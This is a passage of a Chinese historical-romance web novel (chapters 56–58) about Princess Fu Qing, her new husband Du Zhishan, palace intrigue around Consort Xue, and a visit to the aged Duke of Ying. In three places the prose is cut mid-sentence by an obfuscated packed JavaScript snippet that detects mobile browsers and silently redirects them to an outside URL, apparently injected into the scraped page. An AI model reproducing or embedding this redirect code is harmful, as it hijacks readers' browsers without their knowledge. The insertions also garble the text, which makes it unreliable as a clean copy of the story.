“陛下本就将婚期定的很是着急,现下连婚宴都没有准备好,有些着急也是正常的。” 苻庆猛然想起宁慈心在马车上给自己展示过的白发,“姨母,宁国公府也真是奇怪。接下赐婚的时候倒是很爽快,怎么如今要成婚了反而生出这些不满,此时再说这些话又有什么用呢?” 薛贵妃的梨涡闪过,“想来宁国公与国公夫人也是不想让孔家轻视了自己的女儿,到底是终身大事,总不好草草走个过场吧?” 那现下的状况与草草走过场又有什么区别?苻庆不愿再说,端过茶盏轻轻抿了一口。雪梨汤是从冰鉴中取出来的,尝起来清甜可口,将苻庆心中涌起的那点苦味慢慢压了回去。 午饭吃的还算是愉快,没想到杜至善在皇帝面前话不多,对薛贵妃倒很是尊敬。苻庆能够瞧出薛贵妃确实是觉得杜至善还算不错,心里也很是高兴。对于苻庆来说,这段婚姻能够让薛贵妃高兴便已经足够。 吃过午饭薛贵妃一向是习惯要小憩一会,苻庆不想耽误薛贵妃午休,筷子刚放下便让松醪去备轿。 “庆儿,这么急做什么?”薛贵妃漱过口,慢悠悠地问道:“杜博士,吃得如何?” “姨母宫中饭菜吃得清淡,倒还符合儿臣的胃口。” 苻庆回头瞥了杜至善一眼,没想到他竟是个清淡口味,那以后杜至善只怕要在公主府遭罪了。 56. 兵部 “庆儿,既然松醪去备轿了,那就你自己跟着花露去一趟偏殿吧。”薛贵妃指了指花露,对方立刻会意走到门口等候,“上回你说找不到的那件碧绿枇杷山雀纹的褙子我昨日帮你翻出来了,正好让花露包好你带回去。” 苻庆确实有一件琵琶山雀纹样的长袖褙子,但从未找不见过。花露已经垂着头站在门口等候,薛贵妃的神色如常,苻庆反应过来,立刻答应下来跟着花露往殿外走去。 行至偏殿,苻庆终于忍不住疑惑。 “花露,姨母可是有什么话要对我说?” 花露还真的从衣柜中取出了那件衣服,连带着其他几件用布包裹起来。 “公主,贵妃娘娘想要嘱咐您,这几日千万在府中好好待着,不要到处走动。” 苻庆皱眉,薛贵妃原先从未对自己说过这种话。 “是不是宁国公府……”苻庆眨眨眼,“说起来确实奇怪,婚宴名义上说是孔家所定,实则都是礼部掌过眼的,这点道理宁国公不会不知道,他又为什么会忽然要驳斥礼部甚至是陛下的面子呢?” 花露也并不打算隐瞒,“昨日宁国公突然上折子斥责孔家欺人太甚,公然蔑视长公主,对皇室不敬,扬言说必须要推迟婚期。但有人说孔家不敬是假,宁国公府出了事情才是真的。” “什么意思?” 花露轻轻往前走了一步,附到苻庆耳边轻轻说道:“传闻说瑕英长公主不见了。” “你说什么?”这下苻庆是真的吃了一惊。 但花露的反应却很是淡然,“公主放心,既然宁国公都不愿意声张,恐怕此事是另有隐情的。贵妃娘娘只是害怕您被有心之人利用,所以才嘱咐您不要轻易外出。” 苻庆明白过来薛贵妃的意思,如果宁慈心真的是无故走失,想必宁国公肯定要在京城中大肆搜寻了。既然连衙门的人都没有出动,便说明此事恐怕是另有蹊跷。再联系上宁慈心大婚在即,很难不让皇帝怀疑对方是在故意躲避,借此表达对这桩婚事的不满。 “这桩婚事本就是陛下拿来安抚大夏学子的,如今被宁慈心这么一闹,恐怕那些文人要更不高兴了。” “公主说的正是呢。今日陛下虽说没有上朝,但听说紫宸殿已经堆满了上书弹劾宁国公的折子。” “只怕这桩婚事不仅没能安了天下学子的心,反而还让宁国公府更处于风口浪尖之上了。”苻庆叹了口气,“姨母放心便是,我这几日一定好好待在府中。” 花露笑着福身,拿起包袱与苻庆一同走出了偏殿。 与薛贵妃道别后,苻庆与杜至善很快便坐上了回府的马车。苻庆今日心情还算是不错,对杜至善也算是多了些耐心。 “杜博士,想不到你也算是能言善辩的。” 杜至善茫然地看向苻庆。 苻庆继续解释道:“刚才我着急去偏殿取衣服,竟忘了这样便只留你一个人在殿中了。和我姨母说什么了?没有太尴尬吧?” 杜至善摇头,“怎么会,贵妃娘娘很和善。” 看来他还是不适应跟着自己唤薛贵妃姨母,苻庆笑着扬起下巴。“我想也是,我姨母是从不会为难任何人的。” 杜至善看着苻庆笑容满面的样子,只是配合着笑了一笑。 看来这个杜至善说话也是间歇性的,过了时辰便说不出来了。苻庆觉得无趣,也不想再同杜至善继续说什么,因此二人又如同前日从宫中回来时那般,沉默着回到了公主府。 决明并没有跟着杜至善入宫,现下见杜至善终于回到揽晴轩,立刻迎了上去。 “公子,小的已经去调查过了,那个叫程怜香的确实是被公主突然赶出府去的,听说他很是不舍得公主,回去后还大病了一场。” “怪不得那日他会自己在公主府门口徘徊。”杜至善坐在罗汉榻上,只觉得太阳穴处有些胀痛,伸手轻轻揉捻两下。 “公子,如此看来公主与那程怜香应当确实没什么干系了,而对方也确实只是个唱戏的罢了。” 杜至善发出一声嗤笑,“一个唱戏的,也值得她当日这么费心思,真是好笑。” 决明看出杜至善有些不适,转身为杜至善倒了一杯茶端过来。 “公子是不是这几日太过劳累了?这茶中加了人参片,您喝了或许会好一些。” 杜至善端过茶盏轻啜,之后却没有立刻放下茶盏。杜至善轻轻撵着茶盏,茶水在杯中轻轻摇晃闪着细碎的光。决明知道杜至善是在思考什么事情,将茶壶端过来后便悄悄退了下去。 今日苻庆跟着花露离开正殿后,杜至善便与薛贵妃对坐在殿中。杜至善感觉到气氛有些尴尬,本还想着自己也许应当说点什么表示礼貌,谁知却是薛贵妃先开了口。 “杜博士现在已经不必去国子监了吧?” “正是。”杜至善点头,“侥幸得几日清闲日子。” 薛贵妃端起茶盏轻轻抿了一口,话语轻柔地说道:“杜博士莫心急,你是栋梁之材,陛下必不会允许你这清闲日子过得太久。” 杜至善只当这是薛贵妃的客套之语,拱手说道:“只求能为陛下分忧,做些力所能及的事便好了。” “如今朝堂之上乍看风平浪静,实则下面却是暗潮涌动。陛下一面想要安抚老臣,一面也想要拔擢新人,这中间如何把握可是件不简单的事情。” 杜至善听了薛贵妃这番话,内心有些诧异。在他印象中薛贵妃一直是一个安分守己的后妃,并不会对前朝之事有所了解。今日听来,却觉得对方不仅是对于朝堂有了解,而且还很有些想法。 “陛下既然决定为你与庆儿赐婚,那便是想要拉拢旧日里水火不容的两派,想要重新谋划一个安稳的朝局。”薛贵妃的梨涡浅浅,在说话的时候时隐时现。“说起来大夏与辽国议和也已过去六年,所谓的战和之争也早已经没有了意义,陛下有这样的打算也是意料之中的。只是不知道杜博士心中是怎么想的?” 杜至善随即站起身,“下官是陛下钦点的进士,眼中便只有陛下。更何况下官年纪尚轻,对于之前的事情也并不了解。如今只知道陛下器重下官,愿意将公主下嫁与我,那下官必不辜负陛下信任。” “如此便很好。”薛贵妃端起茶盏,“杜博士,日后在兵部好好为陛下效力。” 杜至善动作一滞,还没来得及想明白薛贵妃这句话的意思,花露已经走回了殿内。 直到现在,杜至善还是觉得十分惊讶。虽说薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446146|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃如今享有管理六宫之权,但毕竟是女流之辈,当今陛下又十分在意东宫,从不允许太子私自回宫探望母亲。在这种情况下,薛贵妃还能得知自己即将要去兵部任职的消息,实在是令人感到意外。 现在看来,只有两种可能。要么是陛下与薛贵妃感情甚好,就连前朝之事都会告知对方;要么便是薛贵妃有能够得知这些消息的办法。 杜至善缓缓呼出一口气。 “决明,去翠华庭通禀,我要见公主。” 苻庆从宫中回来之后便睡着了,这几日她晚上总是睡不好,虽说能睡着但总是做梦,因此每日过了中午便开始疲惫。 一觉醒来,苻庆伸了个懒腰。屋中静悄悄的,苻庆有些奇怪,平日里松醪是一定会在屋中守着自己的。 “松醪!” 木门打开,松醪的脚步声传来。 苻庆站起身,声音里带着嗔怪。“你去哪里了?” 松醪走上前服侍苻庆穿上外衣,“决明刚刚来过了,他说驸马想见公主。” 苻庆撇嘴一笑,“今日怎么这么懂礼貌了?知道应当通禀一声而不是硬闯。” “公主要见吗?” “见,为什么不见?”苻庆自己系上外衣的绳结,“让他过来吧,我就在屋内见他。” 不一会,杜至善走进了翠华庭。苻庆今日又没有穿见客的衣服,头发也只是松松挽着,一看便知道是刚睡醒不久。 “杜博士找我有什么事吗?” 杜至善没有客气,自己选了个圆凳坐下。 “刚才在宫中我听闻贵妃娘娘此前身体不适,可是因为头风病的缘故吗?” 苻庆没想到杜至善突然跑过来便是为了说这件事,点头回答:“可以这么说,我姨母前段时间因为天冷感了风寒,又因为头风病发作,身体一直不见好。后来陛下开恩,让光禄寺为姨母准备一日三餐,饮食清淡以后姨母的病才好些了。” “那你说的药,又是什么意思?” “是我从外头为我姨母找的大夫。”苻庆不想提起程怜香,“留下个药方子给姨母吃,还算有些效果。” “既然有效果,为什么不赶紧再找那个大夫去进宫看一看?像这种病,还是早日治好了为妙,免得日后留下祸患。” 苻庆没有立刻回答,而是上下打量着杜至善,仿佛是第一次见到他一样。 杜至善有些不自在,说话带着迟疑。“怎么了吗?” “没事,我看看你是不是被什么东西上身了。”苻庆一本正经地说着胡话。“杜博士,你这是怎么了?怎么突然这么关心我姨母?” “公主忘了,下官有一个好处,便是还算聪明。”杜至善微笑,“刚才在晏呢殿说到那个顾仙人,明显能听出来你和贵妃娘娘都是欲言又止,想来是因为我在场的缘故。” 苻庆摇摇头,站起身为自己倒了杯茶。“其实也不是什么需要藏着掖着的事情,只是姨母替你着想罢了。”喝口茶润润喉咙,苻庆转过身认真看着杜至善,“这个顾仙人是程怜香的朋友,我姨母想着如今你我已经成婚,程怜香又已经被我送出府去,所以不愿让我再提。” 杜至善眨了一下眼。 “我猜到了。” 57. 看书 “你猜到了?”苻庆满脸都写着不可思议,“杜博士你糊弄鬼呢?” “薛贵妃患头风病多年,若是早认识什么民间的神医,必然早就请进宫看过了,怎么会等到今天?而你此前一直在宫中生活,也不可能突然有机会认识什么民间的大夫,因此只有一个可能。” “精彩啊,杜博士,原先我怎么没瞧出你有当府尹的潜质。” 杜至善只当苻庆这是夸奖自己,低下头微微一笑。 “所以呢,杜博士问这些究竟想要说什么?” 杜至善仰起头,一双眼睛含着笑看向苻庆,“我想告诉公主,不必在意我。” “什么?” “公主去请这位顾神医再为贵妃娘娘瞧瞧吧,只要娘娘病能够好,其余的都不重要。” 苻庆两步冲到杜至善跟前,“杜至善,你到底是怎么了?不是指着我鼻子问程怜香究竟是怎么回事的时候了?” 杜至善无奈地摇头,笑着站起身。 “公主,你知不知道如果这件事侥幸翻篇了,便最好不要再轻易提起。” 苻庆也意识到自己嘴太快了,抿住嘴唇不再说话。 “原先我只是听闻贵妃娘娘与公主情同母女,今日得见才知道这话并没有骗人。”杜至善认真看着苻庆的眼睛,甚至能从其中看到自己的倒影。“公主,我知道你只在意贵妃娘娘,既然我想着要你高兴,那为什么不能接受你做这件事情呢?” 看着杜至善一脸坦然的样子,苻庆第一次有种不知道下一句话该说什么的感觉。毕竟就现在的情况而言,苻庆既不知道杜至善这段突如其来的话是从何说起,更不知道对方这话是为何而说。 “至于其他的,公主不必在意,因为我也不在意。”杜至善的声音很沉稳,“既然公主说起来了,那我正好对公主解释清楚。还要多谢公主的那杯酒,那天回去后我便想通了,既然如今你我已经成婚,那我我便应当扮演好我的角色。至于从前种种并不重要,重要的是以后如何。” “以后,我想要公主高高兴兴的,与我共谋大业。” “杜至善,你不去做府尹还真是屈才了。”苻庆眯起眼睛,“刚才你这段发言,我仿佛都能看见你升堂断案的样子了。” 杜至善不在意苻庆这么明显的转移话题,向苻庆伸出手,“劳烦公主,我也想要一杯茶。” 苻庆并不动弹,“不过既然杜博士都这么讲了,我也不能辜负杜博士一番好意,这几日我便着人去拜访顾仙人。” 杜至善手还保持着伸出的动作,“若有能得着我的地方,公主随时开口。” 苻庆没再说话,二人静静对视着,杜至善的手仍然举在半空中。苻庆没什么表情,而杜至善却是微笑着。 半晌,苻庆嘴角一勾,噗嗤笑出声来,“怎么?若我不给你倒这杯茶,杜博士要在这举着胳膊站一下午吗?” 杜至善的嘴角也翘着,“公主大可以试一试。” “我可没这个闲工夫。”苻庆转身倒了一杯茶,干脆利索地放到杜至善手中。“喝完茶快走吧,我还有旁的事要忙。” “什么事?” 苻庆瞥了杜至善一眼,“看书。”说完,苻庆拿起放在一旁的《经进东坡文集事略》在杜至善眼前晃了晃。 “怎么想起来看庞山校订这版?”杜至善的眼神跟着苻庆的手上下晃动,看上去有些好笑,“虽说他在勘误方面确实下了些功夫,但到底还是比不上宋版。” “谁不知道宋版好,问题是现在又能去哪里找呢?”苻庆没好气,“你喝完茶了吗?喝完赶紧走吧。” 杜至善放下茶盏,“公主,远在天边近在眼前。” 苻庆看向杜至善。 “若公主想看,揽晴轩的茶水也很不错。而且最重要的是,我从不赶客。” 苻庆听出杜至善是在揶揄自己,但她并不在意。 “杜至善,我看你是又忘了,这是我的公主府,所以客人是你才对。” 杜至善好像没听出苻庆话中带刺,仍然只是温柔地问道:“那公主是怎么想的,您去还是不去呢?” 理智上苻庆认为自己应当拒绝,因为现在这个局面来说杜至善已经掌握了太久主动权,从他的脸上便能看出他是做好了十足的把握才说出这句话的,杜至善大约早就想好了该如何缓和与自己的关系,而且他也确实猜对了。 “杜至善,我其实很不想在你脸上看到这么志在必得的表情。”苻庆呼出一口气,“但是我这人还有别的好处,那就是只要能达成我的目的,过程如何我都认为不重要。” 苻庆轻轻一推桌子,整个人轻盈地往前迈了两步。 “让决明备好茶,我丑话先说前头,茶不好我可是要掀桌子的。” 杜至善当然知道苻庆有这个好处,或者说正因为他知道苻庆有这个特点,才能够大胆地说出刚才那些话。 他明白,只要苻庆能够达成最终的目的,那么自己中间耍一些无伤大雅的小把戏是可以被允许的。也正以为如此,他们两个才能够达成同盟。 因为在某种程度上,他们就是一类人。 看着苻庆从自己身前走过,她的外衫有些单薄,疾步走过时衣领微微敞开,露出一截雪白的脖颈。 杜至善低下头抚平衣角,接着跟了上去。 到达揽晴轩,苻庆这才发现杜至善不知道在什么时候已经改变了揽晴轩的摆设。原先由礼部摆放的博古架与各式各样的古董文玩都已经悉数撤去,屋子中看起来也不再那么拥挤。靠近窗户的位置重新摆放上了一张罗汉榻,外头的阳光终于又能够无所遮挡的直接照射进屋内。 “公主可还满意?” 苻庆知道杜至善已经看出自己正在观察揽晴轩的新陈设,索性没有挣扎。 “确实还挺喜欢的。” “礼部的陈设固然是好,但端庄有余而雅致不足。”杜至善走到罗汉榻旁,伸出一只胳膊示意苻庆走过去坐下。 苻庆不明所以地走过去,却在坐下的时候发现眼前地面上赫然投射着窗外的树影。这个时节的树叶郁郁葱葱,让屋内的地面上好像长出了暗色的草地。 “绿树阴浓夏日长,楼台倒影入池塘。”杜至善从一旁的书架上抽出一本书递给苻庆,“公主,如此景色不好辜负吧?” 苻庆也不客套,拿过书往侧面一倒,撑着榻枕便开始读起书来。 不得不说宋版确实才是最好的校订版本,许多诗句在后来的漫长岁月中已经出现了误读。苻庆眼睛中看着那些诗句,身体却好像已经进入书中跟随东坡四处游历。 这也是苻庆来到京城中喜欢上读书的原因,只有在这个时候,她才能感受到曾经在锦西城中感受过的自由。 最后苻庆在揽晴轩中一直待到太阳西斜,杜至善端着烛台走进屋才如梦初醒。向杜至善道过谢后,苻庆浑身舒畅地回了翠华庭。 翠华庭中已经摆好了饭,松醪见苻庆回来很是平静,只是拿起筷子递给苻庆。 “公主尝尝,今日厨房准备了几道新菜。” “晚饭还研究新菜?”苻庆看向桌子,确实看到好几道菜都是生面孔。 筷子在几道菜中轻巧点过,苻庆点点头,“味道不错,确实有点意思。” “那对于揽晴轩的新人呢?” 苻庆嘴里还嚼着菜,一脸不可置信的表情看向松醪。 “松醪!” 松醪却是微微一笑,一脸计谋得逞的得意样子。 “公主,我可是已经听到有下人背地里唤驸马姑爷了。” 苻庆自然知道这与自己对待杜至善的态度有关,眼见着二人在一起的时间越来越多,府中的下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446147|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人自然对于杜至善会产生不同的认知。 “松醪,你说我对杜至善是不是太善良了?” 松醪笑而不语,只是给苻庆夹了一筷子菜。 由于薛贵妃不许苻庆出门,苻庆便在府中认真看了几日书,多亏了杜至善这个国子监博士,许多孤本甚至都有所收藏,让苻庆这几日在府中都没有觉得太过于无聊。 而另一方面,松醪又带着茶叶去拜访了一次顾仙人。 顾仙人看到门外的华丽马车时都愣了一下,接着才想到这驾马车是从何而来。松醪的态度很是恭敬,带来的茶叶也让顾仙人十分满意。 “顾大夫莫怪,这几日公主实在不便外出,否则一定会亲自前来的。” “无妨,公主到底是金枝玉叶,来这里还是会不适应的。”顾仙人已经猜到松醪的来意,“若我没猜错,姑娘是为了宫中那位贵人来的吧?” “正是。您上次为贵妃娘娘开的方子已经吃完了,公主不放心,总想要顾大夫再去看过一次才好。” “我知道公主担心什么。”顾仙人从一旁的博古架上取下来一根银针,“回去告诉公主,让娘娘用此银针刺破无名指放血,若是血液经过一炷香仍是鲜红色,便是毒已经解除了。” 松醪连忙接过银针,“多谢顾大夫。” “一会我会再给你两颗药丸,但这药丸并不是治病的,而是染病的。”顾仙人拿出纸笔,“我知道娘娘深居内宫,诸多事情并不便宜。这个丸子吃下去后,娘娘便会表现出气血不调的脉象,但无须医治,几日便可自行痊愈。而到那时,宫中太医便可以继续为娘娘诊病了。” 松醪没想到顾仙人竟然为贵妃娘娘想到了这一步,毕竟现在薛贵妃仍然不想让其他人知道自己中毒的事情,因此这几日晏呢殿都不敢请太医为其诊脉。而如此做完功夫,一切便可以隐瞒过去了。 “多谢顾仙人妙手回春。”松醪从袖中取出一袋钱。“我知道顾仙人对于金钱并不在意,但这是您应得的诊金。” 顾仙人并没有接过钱袋,反而开口问道:“姑娘,公主近日可好?” 松醪一愣,却又立刻反应过来。“多谢顾大夫关怀,公主近日一切都好。” “那就好。”顾仙人从药箱中拿出两粒药丸,包好递给松醪,“若以后公主还有需要老身的时候,姑娘只管过来就是。” 松醪接过药,“顾大夫,恕我冒犯,程伶人近来怎么样?” “小香香啊,也还不错。前段时间已经重新登台唱戏了,就连他师父都夸他唱得好,直说这之后和春班也算是后继有人了。” “如此甚好,那公主也能够放心了。”松醪将那袋钱放置在博古架上,微微欠身后走出了屋子。 松醪离开后,顾仙人将药箱重新盖好,半晌才问道:“怎么还不出来?你晕倒在里头了?” 接着,一个人影从博古架后的屏风后闪了出来。 “你才晕倒在里头了。” 顾仙人笑一笑,头也不回地指使道:“把那袋子钱给我拿过来。” 程怜香没什么好气,却还是乖乖照做。 “你怎么好意思收人家这么多钱?” “我还想问你怎么好意思收人家公主这么多钱呢?”顾仙人夺过钱袋揣进怀中,“你师父可跟我说了,公主连你们和春班租住院子的房契都给你了。” 程怜香重重呼出一口气,找了张凳子坐下。 “我也是刚知道此事。”程怜香怎么也没想到苻庆会为自己花这么多钱,“若是早知道,我一定给她直接退回去。” “那现下呢?” 程怜香气呼呼地抬头剜了顾仙人一眼,顾仙人哈哈大笑起来,就连下巴上的白胡子也在轻轻颤抖。 程怜香自然是想要将那些东西还回去,可他更想要的是一点来自苻庆的念想。 58. 故交 四月底,天气逐渐变得炎热。翠华庭中,苻庆正看着几个小厮在院子中搭建秋千架,自从那日在揽晴轩中读过“墙里秋千墙外道”后,苻庆便对在翠华庭中搭建一个秋千恋恋不忘。 松醪走进翠华庭的时候,正看到苻庆坐在秋千上测试高度。苻庆今日穿了件嫩粉色的纱衣,耳坠子上的珍珠伴随着苻庆的动作来回摇摆。 “公主,还是回檐下等着吧,仔细中了暑。” 苻庆听话地走回檐下,松醪掏出手绢为苻庆擦拭过额头上的汗珠,借机轻轻对公主说道:“宫中来信了。” 苻庆明白这是薛贵妃私下里为自己传递的消息,抬手示意松醪与她走回了屋内。 “公主,宁国公府应当已经无事了。” 苻庆微微皱眉,“无事了?那这么说宁慈心应当是被找回来了?” “娘娘说只是一场误会,瑕英长公主跟随舅舅去外祖父家探亲,路上生了场病,因此耽误了些时日。宁国公怕外人知道,这才借口婚宴不合规矩,想要强迫孔家延期。” “怕外人知道?什么病还怕外人知道?” “娘娘并未明说,但好像与瑕英长公主的外貌有关。” 苻庆一愣,脑中忽然回想起那日在马车上宁慈心给自己看的白发。 “难道是头发的事情暴露了?” 松醪点头,“宁国公不敢让大夫们直接出入府上,这才借瑕英长公主探望外祖家为名,送女儿去乡下调养。大约他们也是没想到瑕英长公主的白发竟如此难以医治,而陛下又无论如何都不肯推迟婚期。” “看来宁慈心这半个多月也是受苦了。”苻庆长叹一声。 “除此之外,公主还有一事。” “说。” “英国公府来信了。” 这个消息倒是让苻庆很是感兴趣,立刻问道:“信中说什么了?” “信中说过几日是国公爷六十大寿,今年英国公府要举办一场生辰宴为国公爷贺喜,邀请公主到时与驸马爷同去。” 英国公竟已经要六十岁了吗?苻庆心中一惊。 说起来上次见英国公还是五年前的元夕节,当时陛下在柏梁台举办宫宴宴请诸臣,苻庆才在宴席上见到了刚被召回京中的英国公。 也是在那场宫宴上,英国公毫无征兆地昏迷倒地,醒来后便落下了身体麻痹的毛病,自那以后再也不能重返边疆。陛下念在英国公为国征战多年的功劳上,立刻赐予英国公一栋宅院就此留在京中养伤。 “说起来,也是多年不见国公爷了。” 松醪将那封信从袖中取出递给苻庆,“除此以外英国公府还特意提及,由于英国公府距离京城有些遥远,而寻常生辰宴又不可能只办一日,因此邀请公主届时到国公府小住几日。” “没问题。”苻庆拿过信大致扫过一眼,“我也已经许多年未见国公爷了,正好借这个机会和国公爷多说几句话。” “那我这就去收拾些公主要带去的衣物。” 苻庆与英国公熟识并不是在京城,而是在几千里外的锦西城。在苻坚将军驻守锦西城时,英国公的驻地与锦西城并不遥远,快马加鞭不用一日便可到达。 并且由于锦西城处于大夏与辽国的交界处,城中相对闭塞,城外也无法耕种。锦西城的粮食一向是由英国公所驻之地运送过来,而英国公从未让锦西城陷入过粮食短缺的绝境之中,因此苻坚将军很是敬佩英国公,二人虽说相差二十几岁,却关系十分要好。 苻庆自记事起,便认识了这个总是在爽朗大笑的伯伯。英国公没有女儿,因此对苻庆很是喜爱。在苻庆很小的时候便时常抱着她骑马在草原上飞驰,大夏国无人不知英国公的骑射乃是最好的。 只可惜五年前那场宫宴之后,英国公便再也骑不得马,也回不到边塞了。 当晚,苻庆在翠华庭中翻箱倒柜,离宫的时候苻庆曾经带了几个大箱子来,那些都是苻庆从锦西城带回来的物件。 杜至善到的时候,正看到苻庆坐在地上翻箱子,这还是杜至善第一次见到一个京城中的女孩能够直接坐在地上找东西。 “地上不凉吗?” 苻庆这才发现杜至善站在门口,虽说知道自己现在的举动有些不雅,但苻庆实在是没力气站起来。 “我在这找了快一个时辰了,早没力气端在那了。你要有事情快说事,没有就走。” 杜至善闪身走进屋内,“松醪刚刚去揽晴轩告诉我,过几日咱们要一同去为英国公庆生。我与国公爷并不相识,便来问问公主国公爷喜欢什么礼物。” “你要给英国公准备礼物?”苻庆扭过头来,皱着眉头看着杜至善。在苻庆看来,杜至善与英国公几乎是从未见过面,英国公与杜太傅也交集甚少,却没想到杜至善居然想到要为英国公准备礼物。 “你忘了我想要的是什么了?英国公是在边境征战过的武将,他的支持对于我来说十分重要。” 这就说得通了,苻庆扭过身不再看杜至善。 “国公爷喜欢喝酒,你若是真有心便给国公爷找几坛子好酒吧。至于其他的礼物,公主府都会预备好,到时候由咱们拿过去便是,这件事你还是与松醪商议吧。” 杜至善也没再说什么,苻庆只当他是自己离开了,便也又认真翻找起来。 下一霎,一只手挡在了苻庆眼前。 “你干……” “坐在垫子上。” 苻庆回过头,这才发现杜至善已经从罗汉榻上拿下来一个蒲团。苻庆一时说不出什么,只是听话地抬起屁股,给了杜至善一个放垫子的空间。 杜至善本想着只是将垫子递给苻庆便是了,看到苻庆如此不客气不禁哑然失笑,却还是认真地将垫子摆放好。 见苻庆坐到垫子上,杜至善也不再停留,答应过苻庆刚说的话后便转身离开了。 苻庆在原地愣了一会,终于想起来继续翻找。边找的时候还在思考,怎么总感觉杜至善这几日有些奇怪,不知道是哪根线搭错了一样。 正想着,苻庆终于找到了她要找的东西。 “既然还没坏。”苻庆也有些意外,虽说一开始想到找出来,但她却没想到这个木头削成的小马居然到现在都还是完好的。 拿过手帕轻轻擦拭过小马身上的灰尘,苻庆好像又回到了锦西城的家中,好像又听到了窗外时常会传来的将士操练声以及马匹的嘶鸣声。 盯着小马良久,苻庆轻轻抬起头。 不知她这辈子,是否还有机会回到她心心念念的边塞。 日子一滑进五月,京城的气候便已经有些让人烦躁。苻庆外衫只穿了一件鹅黄色长袖褙子,却还是热得一直想把袖子全部拢起来。 马车行进的速度并不快,杜至善与苻庆仍然是相对而坐,看着苻庆时不时掀开帷子看向马车外,杜至善有些不解。 “有这么热吗?” “有。”苻庆回答得理直气壮。 回过头,这时苻庆才发现杜至善的襕衫连脖子都严严实实地裹着。 “你怎么不穿道袍?不觉得热吗?” 杜至善缓缓摇头,“心静自然凉。” 苻庆最讨厌这种没用处的话,若是心静便能够感觉到凉爽,那冰鉴便不必发明出来了。 “我看杜博士是身体不好,要不然怎么会三月份还要穿着氅衣。” 杜至善一愣,半晌才想起来苻庆正在说什么。见苻庆说完扭过头不再看自己,杜至善也不再说什么,低头抚了抚衣摆。 一大早出发,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446148|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到过了正午才终于到达英国公府。 苻庆走下马车时,只感觉自己骨头都要变成石头了,只能在原地伸了个大大的懒腰才能舒展开来。 “阿庆还是小时候的样子,一举一动都没变样。” 苻庆转过身,看见英国公由人推着轮椅从府内出来,正停在台阶之上等着自己。 杜至善俯身行礼,而苻庆已经三步并作两步冲上了台阶。 “祝大伯!” 英国公笑着接住苻庆,宽大的手掌在苻庆的背后轻轻拍打。 “好了好了,我这一把老骨头了,你小心再把你祝大伯撞散架了。” 苻庆站起身,仔细看着英国公的脸庞。大约是由于岁数的原因,英国公的头发和胡子都已经变得灰白,脸颊旁边也出现了细碎的斑点,但好在气色还算红润。 “看出来这几年在京中休养的日子还算舒适,”苻庆笑得眉眼弯弯,“大伯看着脸都比原先胖点了。” “可不是,如今都胖成老头子了。”英国公拉着苻庆的手也细细端详着苻庆,“阿庆却是没变样子,看着和小时候还长得一样。” “大伯,我也长大了。” 英国公笑着点点头,“大伯知道,是成亲的人了。” 这时杜至善才适时地出现在苻庆身后,恭敬地称呼道:“晚辈见过英国公。” “这便是杜博士吧?”英国公上下打量过杜至善,“博士莫怪,我年纪大了腿脚又不好,太久不入京城,对于现在的朝堂已经不熟悉了。” “国公爷哪里话,是晚辈们平日怕叨扰国公爷静养,因此不敢擅自来打扰。” 与杜至善客套过后,英国公拉着苻庆向府内走去。轮椅的轮子在地上滚动,发出呼啦呼啦的声音。 英国公府的正堂陈设很是简单,大约是由于英国公的轮椅需要大一些的位置才能够畅通无阻。 “大伯的腿近来好些了吗?还会疼吗?” 英国公轻轻敲打两下自己的膝盖,“好多了,虽说还是走不了路,但偶尔撑着站一会还是可以的。” 苻庆心里很不是滋味,毕竟从前英国公骑着马的英姿她也是见过的,如今却只能坐在轮椅上由人推着才能移动,这实在是令人唏嘘。 “阿庆呢?晚上睡觉还会梦魇吗?” “已经好了,现在很少再做噩梦了。”苻庆微笑,梦魇之事是六年前父母刚离世的时候自己突然得的疾病,“多亏了我姨母每晚精心照料我才能够痊愈。” “薛贵妃啊,是个好人……”英国公点头说道。 “大伯,公主府为大伯准备了一些生辰礼,那几坛酒是杜至善为大伯找的,大伯若是喜欢喝,可以再对他开口。” 英国公刚才便看见公主府的马车后面装着几坛酒,点头说道:“杜博士有心了。” 杜至善站起身,“国公爷客气,晚辈酒量不好。若国公爷还看得入眼,晚辈便多送几坛来。” “不必客气了。既然如今你已经与阿庆成婚,也别再称呼我为国公爷了。我虚长苻坚将军几岁,阿庆一直叫我大伯。” 杜至善垂下眼帘,“是,大伯。” 场面出现了短暂的沉默,这时苻庆才忽然想起来。 “大伯,怎么不见……大伯母呢?” 英国公愣了愣,像是没想到苻庆会问出这个问题。 “她在屋里呢,你大伯母面子薄,不愿意出来见客。” 苻庆与这位大伯母其实并不熟悉,因此也就点点头不再说话。 